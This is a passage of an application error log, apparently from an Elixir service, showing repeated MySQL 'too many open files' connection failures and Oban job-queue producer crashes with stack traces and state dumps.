    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:09:46.244477Z], limit: 5, uuid: "27712859-1008-43c9-b929-2e8203866de6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:46.244483Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255413>, refresh_timer: #Reference<0.2525715032.1099431938.7177>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:09:58.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:01.407000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:01.546000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:03.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:07.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:08.017000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:09.211000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:09:58.247242Z], limit: 3, uuid: "7f77ddc8-6c72-4680-8b79-21ce8d79ff9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:58.247248Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.7556>, refresh_timer: #Reference<0.2525715032.1077411843.239493>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:09:58.249655Z], limit: 5, uuid: "02859b04-c5e3-4b11-adbc-3b05bc53152c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:58.249661Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255515>, refresh_timer: #Reference<0.2525715032.1068236804.255512>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:09:58.245369Z], limit: 5, uuid: "ece81afb-2458-41bd-932f-49d9b26a680e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:58.245374Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255514>, refresh_timer: #Reference<0.2525715032.1068236804.255494>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:09:58.244976Z], limit: 50, uuid: "bf3be04e-ff70-4333-8110-f31a84f0d035", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:58.244982Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255516>, refresh_timer: #Reference<0.2525715032.1068236804.255480>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:09:58.245155Z], limit: 20, uuid: "02053c84-99e3-474d-b81b-94c8f052c16d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:58.245161Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255513>, refresh_timer: #Reference<0.2525715032.1068236804.255482>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:09:58.247379Z], limit: 10, uuid: "60746ec7-ea65-43a3-bd09-ecd09a764a1a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:09:58.247399Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.7555>, refresh_timer: #Reference<0.2525715032.1099431938.7538>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:10.635000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:12.263000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:13.034000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:13.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:14.398000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:15.530000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:22.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:10:10.459219Z], limit: 3, uuid: "bc4daae4-9f41-4c39-a5d5-2250101996c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:10.459243Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.255636>, refresh_timer: #Reference<0.2525715032.1099431938.7868>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:22.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
